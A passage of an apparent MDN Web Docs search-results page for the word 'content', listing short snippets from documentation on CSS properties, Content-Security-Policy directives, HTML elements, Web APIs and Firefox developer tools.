overflow-block - CSS: Cascading Style Sheets
the overflow-block css property sets what shows when
content overflows the block start and block end edges of a box.
... this may be nothing, a scroll bar, or the overflow
content.
... values visible
content is not clipped and may be rendered outside the padding box's block start and block end edges.
...And 6 more matches
overflow-inline - CSS: Cascading Style Sheets
the overflow-inline css property sets what shows when
content overflows the inline start and end edges of a box.
... this may be nothing, a scroll bar, or the overflow
content.
... values visible
content is not clipped and may be rendered outside the padding box's inline start and end edges.
...And 6 more matches
position - CSS: Cascading Style Sheets
the element establishes a new block formatting context (bfc) for its
contents.
... most of the time, absolutely positioned elements that have height and width set to auto are sized so as to fit their
contents.
... accessibility concerns ensure that elements positioned with an absolute or fixed value do not obscure other
content when the page is zoomed to increase text size.
...And 6 more matches
shape-outside - CSS: Cascading Style Sheets
the shape-outside css property defines a shape—which may be non-rectangular—around which adjacent inline
content should wrap.
... by default, inline
content wraps around its margin box; shape-outside provides a way to customize this wrapping, making it possible to wrap text around complex objects rather than simple boxes.
... syntax /* keyword values */ shape-outside: none; shape-outside: margin-box; shape-outside:
content-box; shape-outside: border-box; shape-outside: padding-box; /* function values */ shape-outside: circle(); shape-outside: ellipse(); shape-outside: inset(10px 10px 10px 10px); shape-outside: polygon(10px 10px, 20px 20px, 30px 30px); shape-outside: path('m0.5,1 c0.5,1,0,0.7,0,0.3 a0.25,0.25,1,1,1,0.5,0.3 a0.25,0.25,1,1,1,1,0.3 c1,0.7,0.5,1,0.5,1 z'); /* <url> value */ shape-outside: url(image.png); /* <gradient> value */ shape-outside: linear-gradient(45deg, rgba(255, 255...
...And 6 more matches
A hybrid approach - Developer guides
however, it can be a pain to use client-side techniques to alter site
content to fit the user’s context.
... luckily, we aren’t technically constrained to using client-side techniques here: another option is to use server-side user-agent detection to show the user the proper
content.
... this keeps the complexity of altering
content on the server side, but still allows our layouts to benefit from the flexibility and future-readiness of responsive design.
...And 6 more matches
Printing - Developer guides
there may be times in which your web site or application would like to improve the user's experience when printing
content.
... you wish to use different styles to enhance the appearance of your
content on paper.
... you want to adjust the user experience of printing, such as presenting a specially-formatted version of your
content before printing begins.
...And 6 more matches
<p>: The Paragraph element - HTML: Hypertext Markup Language
paragraphs are usually represented in visual media as blocks of text separated from adjacent blocks by blank lines and/or first-line indentation, but html paragraphs can be any structural grouping of related
content, such as images or form fields.
...
content categories flow
content, palpable
content.
... permitted
content phrasing
content.
...And 6 more matches
HTML: Hypertext Markup Language
it defines the meaning and structure of web
content.
...by uploading
content to the internet and linking it to pages created by other people, you become an active participant in the world wide web.
... html uses "markup" to annotate text, images, and other
content for display in a web browser.
...And 6 more matches
CSP: child-src - HTTP
the http
content-security-policy (csp) child-src directive defines the valid sources for web workers and nested browsing contexts loaded using elements such as <frame> and <iframe>.
... syntax one or more sources can be allowed for the child-src policy:
content-security-policy: child-src <source>;
content-security-policy: child-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... data: allows data: uris to be used as a
content source.
...And 6 more matches
CSP: font-src - HTTP
the http
content-security-policy (csp) font-src directive specifies valid sources for fonts loaded using @font-face.
... syntax one or more sources can be allowed for the font-src policy:
content-security-policy: font-src <source>;
content-security-policy: font-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... data: allows data: uris to be used as a
content source.
...And 6 more matches
CSP: frame-ancestors - HTTP
the http
content-security-policy (csp) frame-ancestors directive specifies valid parents that may embed a page using <frame>, <iframe>, <object>, <embed>, or <applet>.
... syntax one or more sources can be set for the frame-ancestors policy:
content-security-policy: frame-ancestors <source>;
content-security-policy: frame-ancestors <source> <source>; sources <source> can be one of the following: the frame-ancestors directive’s syntax is similar to a source list of other directives (e.g.
... data: allows data: uris to be used as a
content source.
...And 6 more matches
CSP: frame-src - HTTP
the http
content-security-policy (csp) frame-src directive specifies valid sources for nested browsing contexts loading using elements such as <frame> and <iframe>.
... syntax one or more sources can be allowed for the frame-src policy:
content-security-policy: frame-src <source>;
content-security-policy: frame-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... data: allows data: uris to be used as a
content source.
...And 6 more matches
CSP: img-src - HTTP
the http
content-security-policy img-src directive specifies valid sources of images and favicons.
... syntax one or more sources can be allowed for the img-src policy:
content-security-policy: img-src <source>;
content-security-policy: img-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... data: allows data: uris to be used as a
content source.
...And 6 more matches
CSP: media-src - HTTP
the http
content-security-policy (csp) media-src directive specifies valid sources for loading media using the <audio> and <video> elements.
... syntax one or more sources can be allowed for the media-src policy:
content-security-policy: media-src <source>;
content-security-policy: media-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... data: allows data: uris to be used as a
content source.
...And 6 more matches
CSP: navigate-to - HTTP
the http
content-security-policy (csp) navigate-to directive restricts the urls to which a document can initiate navigations by any means including <form> (if form-action is not specified), <a>, window.location, window.open, etc.
... syntax one or more sources can be set for the navigate-to policy:
content-security-policy: navigate-to <source>;
content-security-policy: navigate-to <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... data: allows data: uris to be used as a
content source.
...And 6 more matches
CSP: object-src - HTTP
the http
content-security-policy object-src directive specifies valid sources for the <object>, <embed>, and <applet> elements.
... syntax one or more sources can be allowed for the object-src policy:
content-security-policy: object-src <source>;
content-security-policy: object-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... data: allows data: uris to be used as a
content source.
...And 6 more matches
CSP: report-uri - HTTP
the deprecated http
content-security-policy (csp) report-uri directive instructs the user agent to report attempts to violate the
content security policy.
...so for compatibility with current browsers while also adding forward compatibility when browsers get report-to support, you can specify both report-uri and report-to:
content-security-policy: ...; report-uri https://endpoint.com; report-to groupname in browsers that support report-to, the report-uri directive will be ignored.
... syntax
content-security-policy: report-uri <uri>;
content-security-policy: report-uri <uri> <uri>; <uri> a uri where to post the report to.
...And 6 more matches
CSP: worker-src - HTTP
the http
content-security-policy (csp) worker-src directive specifies valid sources for worker, sharedworker, or serviceworker scripts.
... syntax one or more sources can be allowed for the worker-src policy:
content-security-policy: worker-src <source>;
content-security-policy: worker-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... data: allows data: uris to be used as a
content source.
...And 6 more matches
The "codecs" parameter in common media types - Web media technologies
for that reason, the codecs parameter can be added to the mime type describing media
content.
... this guide briefly examines the syntax of the media type codecs parameter and how it's used with the mime type string to provide details about the
contents of audio or video media beyond simply indicating the container type.
... to do so, append a semicolon (;) followed by codecs= and then the string describing the format of the
contents of the file.
...And 6 more matches
Navigation and resource timings - Web Performance
as displayed in the image below, the navigation process goes from navigationstart, unloadeventstart, unloadeventend, redirectstart, redirectend, fetchstart, domainlookupstart, domainlookupend, connectstart , connectend, secureconnectionstart, requeststart, responsestart, responseend, domloading, dominteractive, dom
contentloadedeventstart, dom
contentloadedeventend, domcomplete, loadeventstart, and loadeventend.
... dom
contentloadedeventstart right before the parser sent the dom
contentloaded event, that is right after all the scripts that need to be executed right after parsing have been executed.
... dom
contentloadedeventend right after all the scripts that need to be executed as soon as possible, in order or not, have been executed.
...And 6 more matches
x - SVG: Scalable Vector Graphics
text for <text>, if it contain a single value, x defines the x coordinate on where the
content text position must be placed.
... the
content text position is usualy a point on the baseline of the first line of text.
... the exact
content text position is influenced by some properties like text-anchor, or direction.
...And 6 more matches
y - SVG: Scalable Vector Graphics
text for <text>, if it contain a single value, y defines the y coordinate on where the
content text position must be placed.
... the
content text position is usualy a point on the baseline of the first line of text.
... the exact
content text position is influenced by some properties like text-anchor, or direction.
...And 6 more matches
IDL - MDN Web Docs Glossary: Definitions of Web-related terms
content versus idl attributes in html, most attributes have two faces: the
content attribute and the idl (interface definition language) attribute.
... the
content attribute is the attribute as you set it from the
content (the html code) and you can set it or get it via element.setattribute() or element.getattribute().
... the
content attribute is always a string even when the expected value should be an integer.
...And 5 more matches
Introduction to CSS layout - Learn web development
note: the direction in which block element
contents are laid out is described as the block direction.
...the corresponding inline direction is the direction in which inline
contents (such as a sentence) would run.
... multi-column layout — the multi-column layout properties can cause the
content of a block to layout in columns, as you might see in a newspaper.
...And 5 more matches
Normal Flow - Learn web development
it ensures that your
content is readable, even if the user is using a very limited browser or a device such as a screen reader that reads out the
content of the page.
... first of all, individual element boxes are laid out by taking the elements'
content, then adding any padding, border and margin around them — it's that box model thing again, which we've looked at earlier.
... by default, a block level element's
content is 100% of the width of its parent element, and as tall as its
content.
...And 5 more matches
What is a web server? - Learn web development
an http server can be accessed through the domain names of the websites it stores, and it delivers the
content of these hosted websites to the end user's device.
...we call it "dynamic" because the application server updates the hosted files before sending
content to your browser via the http server.
... for example, to produce the final webpages you see in the browser, the application server might fill an html template with
content from a database.
...And 5 more matches
Other form controls - Learn web development
note that even though you can put anything inside a <textarea> element (including other html elements, css, and javascript), because of its nature, it is all rendered as if it was plain text
content.
... (using
contenteditable on non-form controls provides an api for capturing html/"rich"
content instead of plain text).
...html has two forms of drop down
content: the select box, and the autocomplete box.
...And 5 more matches
CSS basics - Learn web development
previous overview: getting started with the web next css (cascading style sheets) is the code that styles web
content.
...how do i make
content display at a certain location in the (webpage) layout?
...finally, let's expand the second ruleset (below) with settings for line height and letter spacing to make body
content more readable.
...And 5 more matches
Creating hyperlinks - Learn web development
almost any web
content can be converted to a link so that when clicked or otherwise activated the web browser goes to another web address (url).
... anatomy of a link a basic link is created by wrapping the text or other
content, see block level links, inside an <a> element and using the href attribute, also known as a hypertext reference, or target, that contains the web address.
... inside the html body, add one or more paragraphs or other types of
content you already know about.
...And 5 more matches
Video and Audio APIs - Learn web development
as we showed in video and audio
content, a typical implementation looks like this: <video controls> <source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.webm" type="video/webm"> <p>your browser doesn't support html5 video.
...you'll see a number of features; the html is dominated by the video player and its controls: <div class="player"> <video controls> <source src="video/sintel-short.mp4" type="video/mp4"> <source src="video/sintel-short.webm" type="video/webm"> <!-- fallback
content here --> </video> <div class="controls"> <button class="play" data-icon="p" aria-label="play pause toggle"></button> <button class="stop" data-icon="s" aria-label="stop"></button> <div class="timer"> <div></div> <span aria-label="timer">00:00</span> </div> <button class="rwd" data-icon="b" aria-label="rewind"></button> <button class="fwd" data-icon="f" aria...
...the
contents of aria-label attributes are read out by screenreaders when their users focus on the elements that contain them.
...And 5 more matches
Introduction to client-side frameworks - Learn web development
that could look something like this: function buildtodoitemel(id, name) { const item = document.createelement('li'); const span = document.createelement('span'); const text
content = document.createtextnode(name); span.appendchild(text
content) item.id = id; item.appendchild(span); item.appendchild(builddeletebuttonel(id)); return item; } here, we use the document.createelement() method to make our <li>, and several more lines of code to create the properties and children it needs.
...it follows a similar pattern to the one we used to build a list item element: function builddeletebuttonel(id) { const button = document.createelement('button'); const text
content = document.createtextnode('delete'); button.setattribute('type', 'button'); button.appendchild(text
content); return button; } this button doesn't do anything yet, but it will later once we decide to implement our delete feature.
...when you follow a link on this very website, your browser communicates with a server and fetches new
content to display for you.
...And 5 more matches
TypeScript support in Svelte - Learn web development
code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/07-typescript-support or directly download the folder's
content: npx degit opensas/mdn-svelte-tutorial/07-typescript-support remember to run npm install && npm run dev to start your app in development mode.
... give todo.type.ts the following
content: export type todotype = { id: number name: string completed: boolean } note: the svelte template uses svelte-preprocess 4.0.0 to support typescript.
... give it the following
contents: export enum filter { all = 'all', active = 'active', completed = 'completed', } now we will use this from the filterbutton component.
...And 5 more matches
Displaying Places information using views
the built-in views if you need to show the
contents of bookmarks or history in your extension or application, you may want to use the built-in places views, which are generic and will save you a lot of time writing basic functionality so that you can focus on building your extension or application.
... every xul document containing a built-in view must import the stylesheet browser/components/places/
content/places.css and overlay the file browser/components/places/
content/placesoverlay.xul: <?xml-stylesheet href="chrome://browser/
content/places/places.css" ?> <?xul-overlay href="chrome://browser/
content/places/placesoverlay.xul" ?> it's this stylesheet that binds elements with the special type attribute to one of the views.
...the treechildren element should be empty: <tree type="places"> <treecols> <treecol id="title" flex="1" primary="true" /> <treecol id="url" flex="1" /> </treecols> <treechildren /> </tree> the tree view is implemented in browser/components/places/
content/tree.xml.
...And 5 more matches
Storage access policy: Block cookies from trackers
the cookie policy can be enabled in other versions of firefox through the
content blocking settings (these steps will vary by version; the linked documentation includes a dropdown to select the appropriate firefox version).
...alternatively you can report broken sites directly in firefox by clicking "report a problem" in the
content blocking section of the control center (this shortcut may not be available in all versions of firefox).
...for example, a request for
content from tracker.example on news.example will not reuse an http connection with a request for
content from tracker.example on shopping.example or with requests that occur when tracker.example is visited directly (i.e., as a first party).
...And 5 more matches
Mozilla Web Developer FAQ
often the
content of a cell in a table of tabular data does not constitute a paragraph.
... in that case, the easy solution is not to mark the
contents of the cell as a paragraph.
... is the server sending the proper
content-type header for css style sheets?
...And 5 more matches
Animated PNG graphics
the
contents of the canvas are not necessarily available to the decoder.
...the
contents of the output buffer are available to the decoder.
... valid values for dispose_op are: value constant description 0 apng_dispose_op_none no disposal is done on this frame before rendering the next; the
contents of the output buffer are left as is.
...And 5 more matches
Places utilities for JavaScript
warning: the
content of this article may be out of date.
...avhistoryresultnode anode); int getindexofnode(nsinavhistoryresultnode anode); string wrapnode(nsinavhistoryresultnode anode, string atype, nsiuri aoverrideuri); array unwrapnodes(string blob, string atype); nsitransaction maketransaction(string data, string type, nsinavhistoryresultnode container, int index, boolean copy); nsinavhistoryresult getfolder
contents(int afolderid, boolean aexcludeitems, boolean aexpandqueries); boolean showaddbookmarkui(nsiuri auri, string atitle, string adescription, int adefaultinsertionpoint, boolean ashowpicker, boolean aloadinsidebar, string akeyword, string apostdata); boolean showminimaladdbookmarkui(nsiuri auri, string atitle, string adescription, int adefaultinsertionpoint, boolean ashowpicker, bo...
... wrapnode() string-wraps a result node according to the rules of the specified
content type.
...And 5 more matches
nsIClipboardCommands
inherits from: nsisupports last changed in gecko 1.7 method overview boolean cancopyimage
contents(); boolean cancopyimagelocation(); boolean cancopylinklocation(); boolean cancopyselection(); boolean cancutselection(); boolean canpaste(); void copyimage
contents(); void copyimagelocation(); void copylinklocation(); void copyselection(); void cutselection(); void paste(); void selectall(); void selectnone(); methods cancopyimage
contents() returns whether we can copy an ...
...image's
contents.
... boolean cancopyimage
contents(); parameters none.
...And 5 more matches
nsIFrameLoader
content/base/public/nsiframeloader.idlscriptable handles loading a frame.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: this interface works in tandem with the nsi
contentview interface to manage frames across processes if electrolysis is in use to support per-frame processes.
...this will clear the weak owner
content reference.
...And 5 more matches
nsIParserUtils
1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) warning: do not use this from within gecko--use ns
contentutils, nstreesanitizer, and so on directly instead.
... sanitizerallowstyle (1 << 1) flag for sanitizer: allow <style> elements and style attributes (with
contents sanitized in case of -moz-binding).
... sanitizercidembedsonly (1 << 2) flag for sanitizer: only allow cid: urls for embedded
content.
...And 5 more matches
nsIRequest
it does not, however, prevent cached
content from being used to satisfy this request.
... constant value description load_bypass_cache 1 << 9 force an end-to-end download of
content data from the origin server.
... the following flags control the frequency of cached
content validation when neither load_bypass_cache or load_from_cache are set.
...And 5 more matches
Network request list - Firefox Developer Tools
starting in firefox 76 you can double-click a column divider to resize the column to the left of it to fit its
contents.
... type:
content-type of the response.
...main column: this gives you extra information about the security status of the request: icon meaning https weak https (for example, a weak cipher was used) failed https (for example, a certificate was invalid) http localhost indicates that the url belongs to a known tracker that would be blocked with
content blocking enabled.
...And 5 more matches
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
the presence of whitespace in the dom can cause layout problems and make manipulation of the
content tree difficult in unexpected ways, depending on where it is located.
... */ /** * determine whether a node's text
content is entirely whitespace.
... * * @param nod a node implementing the |characterdata| interface (i.e., * a |text|, |comment|, or |cdatasection| node * @return true if all of the text
content of |nod| is whitespace, * otherwise false.
...And 5 more matches
FileReader - Web APIs
the filereader object lets web applications asynchronously read the
contents of files (or raw data buffers) stored on the user's computer, using file or blob objects to specify the file or data to read.
... important note: filereader is used to read file
content from the user's (remote) system in secure ways only.
... filereader.result read only the file's
contents.
...And 5 more matches
FileSystemDirectoryReader.readEntries() - Web APIs
syntax readentries(successcallback[, errorcallback]); parameters successcallback a function which is called when the directory's
contents have been retrieved.
... html
content the html establishes the drop zone itself, which is a <div> element with the id "dropzone", and an unordered list element with the id "listing".
... <p>drag files and/or directories to the box below!</p> <div id="dropzone"> <div id="boxtitle"> drop files here </div> </div> <h2>directory tree:</h2> <ul id="listing"> </ul> css
content the styles used by the example are shown here.
...And 5 more matches
HTMLElement.innerText - Web APIs
the innertext property of the htmlelement interface represents the "rendered" text
content of a node and its descendants.
... as a getter, it approximates the text the user would get if they highlighted the
contents of the element with the cursor and then copied it to the clipboard.
... note: innertext is easily confused with node.text
content, but there are important differences between the two.
...And 5 more matches
HTMLElement - Web APIs
htmlelement.
contenteditable is a domstring, where a value of true means the element is editable and a value of false means it isn't.
... htmlelement.is
contenteditable read only returns a boolean that indicates whether or not the
content of the element can be edited.
... htmlelement.innertext represents the "rendered" text
content of a node and its descendants.
...And 5 more matches
Intersection Observer API - Web APIs
intersection information is needed for many reasons, such as: lazy-loading of images or other
content as a page is scrolled.
... implementing "infinite scrolling" web sites, where more and more
content is loaded and rendered as you scroll, so that the user doesn't have to flip through pages.
... if the intersection root has an overflow clip, the root intersection rectangle is the root element's
content area.
...And 5 more matches
Storage Access API - Web APIs
the storage access api provides a way for embedded, cross-origin
content to gain unrestricted access to storage that it would normally only have access to in a first-party context (we refer to this as an origin’s first-party storage).
... these cookie blocking policies are known to break embedded cross-origin
content that requires access to its first-party storage.
...as a consequence, users who wish to continue to interact with embedded
content are forced to greatly relax their blocking policy for resources loaded from all embedded origins and possibly across all websites.
...And 5 more matches
SubtleCrypto.sign() - Web APIs
rsassa-pkcs1-v1_5 this code fetches the
contents of a text box, encodes it for signing, and signs it with a private key.
... /* fetch the
contents of the "message" textbox, and encode it in a form we can use for the sign operation.
... */ function getmessageencoding() { const messagebox = document.queryselector(".rsassa-pkcs1 #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } let encoded = getmessageencoding(); let signature = await window.crypto.subtle.sign( "rsassa-pkcs1-v1_5", privatekey, encoded ); rsa-pss this code fetches the
contents of a text box, encodes it for signing, and signs it with a private key.
...And 5 more matches
WebGL best practices - Web APIs
6] max_vertex_texture_image_units: 4 max_texture_image_units: 8 max_combined_texture_image_units: 8 max_vertex_attribs: 16 max_varying_vectors: 8 max_vertex_uniform_vectors: 128 max_fragment_uniform_vectors: 64 aliased_point_size_range: [1,100] your desktop may support 16k textures, or maybe 16 texture units in the vertex shader, but most other systems don't, and
content that works for you will not work for them!
...; precision highp int; precision lowp sampler2d; precision lowp samplercube; the fragment language has the following predeclared globally scoped default precision statements: precision mediump int; precision lowp sampler2d; precision lowp samplercube; in webgl 1, "highp float" support is optional in fragment shaders using highp precision unconditionally in fragment shaders will prevent your
content from working on some older mobile hardware.
...when you're done with the
contents of a framebuffer attachment, use invalidateframebuffer to discard the data, instead of leaving the driver to waste time storing the data for later use.
...And 5 more matches
Window.pageYOffset - Web APIs
the read-only window property pageyoffset is an alias for scrolly; as such, it returns the number of pixels the document is currently scrolled along the vertical axis (that is, up or down) with a value of 0.0, indicating that the top edge of the document is currently aligned with the top edge of the window's
content area.
...a value of 0.0 indicates that the window is not scrolled vertically, and that the top of the document is located at the top edge of the window's
content area.
... example var
contenthtml = ` <h2 id="introduction">introduction</h2> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit.
...And 5 more matches
ARIA Test Cases - Accessibility
alertdialog alert dialog yui alert dialog (3rd button in this page) expected at behavior: at should speak the fact that this is an alert, the title and
contents of the dialog, then place virtual focus or the real focus on the desired control (like a button).
...thing spoken n/a fail fail zoom (leopard) pass n/a pass pass zoomtext pass - fail fail orca - n/a - - combobox testcases: editable combo 2 dojo nightly build (combobox) dojo nightly build (combobox with auto complete) expected at behavior: on focus, screen reader announces the label, the role and the current
content of the combobox.
...label and current
content as well as role are spoken, also when typing in a new value, that gets reflected.
...And 5 more matches
ARIA: figure role - Accessibility
the aria figure role can be used to identify a figure inside page
content where appropriate semantics do not already exist.
... a figure is generally considered to be one or more images, code snippets, or other
content that puts across information in a different way to a regular flow of text.
... <div role="figure" aria-labelledby="caption"> <img src="image.png" alt="full alternative image description"> <p id="caption">figure 1: the caption</p> </div> in the above example, we have a figure that consists of two separate
content items — an image and a caption.
...And 5 more matches
::before (:before) - CSS: Cascading Style Sheets
it is often used to add cosmetic
content to an element with the
content property.
... /* add a heart before links */ a::before {
content: "♥"; } note: the pseudo-elements generated by ::before and ::after are contained by the element's formatting box, and thus don't apply to replaced elements such as <img>, or to <br> elements.
... html <q>some quotes,</q> he said, <q>are better than none.</q> css q::before {
content: "«"; color: blue; } q::after {
content: "»"; color: red; } result decorative example we can style text or images in the
content property almost any way we want.
...And 5 more matches
CSS Containment - CSS: Cascading Style Sheets
for example a listing of article headlines and
content, as in the mark-up below.
... <h1>my blog</h1> <article> <h2>heading of a nice article</h2> <p>
content here.</p> </article> <article> <h2>another heading of another article</h2> <p>more
content here.</p> </article> each article has the contain property with a value of
content applied in the css.
... article { contain:
content; } each article is independent of the other articles on the page, and so they have been given contain:
content in order to indicate to the browser that this is the case.
...And 5 more matches
Basic concepts of flexbox - CSS: Cascading Style Sheets
understanding which axis is which is important when we start to look at aligning and justifying flex items; flexbox features properties that align and justify
content along one axis or the other.
... the result of this is that your items will all line up in a row, using the size of the
content as their size in the main axis.
...try the other values — row, column and column-reverse — to see what happens to the
content.
...And 5 more matches
Basic Concepts of grid layout - CSS: Cascading Style Sheets
creation of additional tracks to hold
content you can define an explicit grid with grid layout.
... control of overlapping
content more than one item can be placed into a grid cell or area and, they can partially overlap each other.
... if you place something outside of the defined grid—or due to the amount of
content, more grid tracks are needed—then the grid creates rows and columns in the implicit grid.
...And 5 more matches
Basic concepts of CSS Scroll Snap - CSS: Cascading Style Sheets
the mandatory keyword tells the browser whether the
content has to snap to a certain point, no matter where the scroll is.
...however, it can cause problems if the
content is larger than you expect — users may find themselves in the frustrating position of never being able to scroll and view a certain point in the
content.
... therefore, use of mandatory should be carefully considered and only used in situations where you know how much
content is on the screen at any one time.
...And 5 more matches
Shapes from box values - CSS: Cascading Style Sheets
the box values allowable as a shape value are:
content-box padding-box border-box margin-box the border-radius values are also supported, this means that you can have something in your page with a curved border, and your shape can follow the created shape.
...a box in css has
content, padding, border, and margin.
... by using box values for shapes we can wrap our
content around the edges defined by these values.
...And 5 more matches
Replaced elements - CSS: Cascading Style Sheets
put in simpler terms, they're elements whose
contents are not affected by the current document's styles.
... the position of the replaced element can be affected using css, but not the
contents of the replaced element itself.
... the only other impact css can have on a replaced element is that there are properties which support controlling the positioning of the element's
content within its box.
...And 5 more matches
column-fill - CSS: Cascading Style Sheets
the column-fill css property controls how an element's
contents are balanced when broken into columns.
...the initial value is balance so the
content will be balanced across the columns.
...
content takes up only the room it needs, this may result in some columns remaining empty.
...And 5 more matches
<display-box> - CSS: Cascading Style Sheets
syntax valid <display-box> values:
contents these elements don't produce a specific box by themselves.
...please note that the css display level 3 spec defines how the
contents value should affect "unusual elements" — elements that aren’t rendered purely by css box concepts such as replaced elements.
... see appendix b: effects of display:
contents on unusual elements for more details.
...And 5 more matches
grid-auto-rows - CSS: Cascading Style Sheets
syntax /* keyword values */ grid-auto-rows: min-
content; grid-auto-rows: max-
content; grid-auto-rows: auto; /* <length> values */ grid-auto-rows: 100px; grid-auto-rows: 20cm; grid-auto-rows: 50vmax; /* <percentage> values */ grid-auto-rows: 10%; grid-auto-rows: 33.3%; /* <flex> values */ grid-auto-rows: 0.5fr; grid-auto-rows: 3fr; /* minmax() values */ grid-auto-rows: minmax(100px, auto); grid-auto-rows: minmax(max-
content, 2fr); grid-auto-rows: m...
...inmax(20%, 80vmax); /* multiple track-size values */ grid-auto-rows: min-
content max-
content auto; grid-auto-rows: 100px 150px 390px; grid-auto-rows: 10% 33.3%; grid-auto-rows: 0.5fr 3fr 1fr; grid-auto-rows: minmax(100px, auto) minmax(max-
content, 2fr) minmax(20%, 80vmax); grid-auto-rows: 100px minmax(100px, auto) 10% 0.5fr fit-
content(400px); /* global values */ grid-auto-rows: inherit; grid-auto-rows: initial; grid-auto-rows: unset; values <length> is a non-negative length.
... max-
content is a keyword representing the largest maximal
content contribution of the grid items occupying the grid track.
...And 5 more matches
minmax() - CSS: Cascading Style Sheets
syntax /* <inflexible-breadth>, <track-breadth> values */ minmax(200px, 1fr) minmax(400px, 50%) minmax(30%, 300px) minmax(100px, max-
content) minmax(min-
content, 400px) minmax(max-
content, auto) minmax(auto, 300px) minmax(min-
content, auto) /* <fixed-breadth>, <track-breadth> values */ minmax(200px, 1fr) minmax(30%, 300px) minmax(400px, 50%) minmax(50%, min-
content) minmax(300px, max-
content) minmax(200px, auto) /* <inflexible-breadth>, <fixed-breadth> values */ minmax(400px, 50%) minmax(30%, 300px) minmax(min-
content, 200px) minmax...
...(max-
content, 200px) minmax(auto, 300px) a function taking two parameters, min and max.
... each parameter can be a <length>, a <percentage>, a <flex> value, or one of the keyword values max-
content, min-
content, or auto.
...And 5 more matches
text-overflow - CSS: Cascading Style Sheets
the text-overflow css property sets how hidden overflow
content is signaled to users.
...for example: overflow: hidden; white-space: nowrap; the text-overflow property only affects
content that is overflowing a block container element in its inline progression direction (not text overflowing at the bottom of a box, for example).
...this keyword value will truncate the text at the limit of the
content area, therefore the truncation can happen in the middle of a character.
...And 5 more matches
HTML5 Parser - Developer guides
calling document.write() during parsing prior to html5, gecko and webkit allowed calls to document.write() during parsing to insert
content into the source stream.
... this behavior was inherently racy, as the
content was inserted into a timing-dependent point in the source stream.
... if the call happened after the parser was done, the inserted
content replaced the document.
...And 5 more matches
HTML5 - Developer guides
semantics: allowing you to describe more precisely what your
content is.
... using html5 audio and video the <audio> and <video> elements embed and allow the manipulation of new multimedia
content.
... multimedia using html5 audio and video the <audio> and <video> elements embed and allow the manipulation of new multimedia
content.
...And 5 more matches
Block-level elements - HTML: Hypertext Markup Language
inline there are a couple of key differences between block-level elements and inline elements:
content model generally, block-level elements may contain inline elements and (sometimes) other block-level elements.
...in html5, this binary distinction is replaced with a more complex set of
content categories.
... while the "inline" category roughly corresponds to the category of phrasing
content, the "block-level" category doesn't directly correspond to any html5
content category, but "block-level" and "inline" elements combined together correspond to the flow
content in html5.
...And 5 more matches
<button>: The Button element - HTML: Hypertext Markup Language
content categories flow
content, phrasing
content, interactive
content, listed, labelable, and submittable form-associated element, palpable
content.
... permitted
content phrasing
content but there must be no interactive
content tag omission none, both the starting and ending tag are mandatory.
... permitted parents any element that accepts phrasing
content.
...And 5 more matches
<details>: The Details disclosure element - HTML: Hypertext Markup Language
if the first child of the <details> element is a <summary>, the
contents of the <summary> element are used as the label for the disclosure widget.
...when the user clicks on the widget or focuses it then presses the space bar, it "twists" open, revealing its
contents: from there, you can use css to style the disclosure widget, and you can programmatically open and close the widget by setting/removing its open attribute.
...
content categories flow
content, sectioning root, interactive
content, palpable
content.
...And 5 more matches
<input type="email"> - HTML: Hypertext Markup Language
at contains the optional pre-defined autocomplete options maxlength the maximum number of characters the input should accept minlength the minimum number of characters long the input can be and still be considered valid multiple whether or not to allow multiple, comma-separated, e-mail addresses to be entered pattern a regular expression the input's
contents must match in order to be valid placeholder an exemplar value to display in the input field whenever it is empty readonly a boolean attribute indicating whether or not the
contents of the input should be read-only size a number indicating how many characters wide the input field should be list the values of the list attribute is the id of a <datalist> ...
... if the control's
content has one directionality (ltr or rtl) but needs to present the placeholder in the opposite directionality, you can use unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see overriding bidi using unicode control characters in the unicode bidirectional text algorithm for those characters.
...it is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your
content.
...And 5 more matches
<input type="search"> - HTML: Hypertext Markup Language
attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options maxlength the maximum number of characters the input should accept minlength the minimum number of characters long the input can be and still be considered valid pattern a regular expression the input's
contents must match in order to be valid placeholder an exemplar value to display in the input field whenever it is empty readonly a boolean attribute indicating whether or not the
contents of the input should be read-only size a number indicating how many characters wide the input field should be spellcheck controls whether or not to enable spell checking ...
... if the control's
content has one directionality (ltr or rtl) but needs to present the placeholder in the opposite directionality, you can use unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see overriding bidi using unicode control characters in the unicode bidirectional text algorithm for those characters.
...it is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your
content.
...And 5 more matches
<input type="tel"> - HTML: Hypertext Markup Language
less of their type, telephone number inputs support the following attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options maxlength the maximum length, in utf-16 characters, to accept as a valid input minlength the minimum length that is considered valid for the field's
contents pattern a regular expression the entered value must match to pass constraint validation placeholder an example value to display inside the field when it has no value readonly a boolean attribute which, if present, indicates that the field's
contents should not be user-editable size the number of characters wide the input field should be onscreen ...
... if the control's
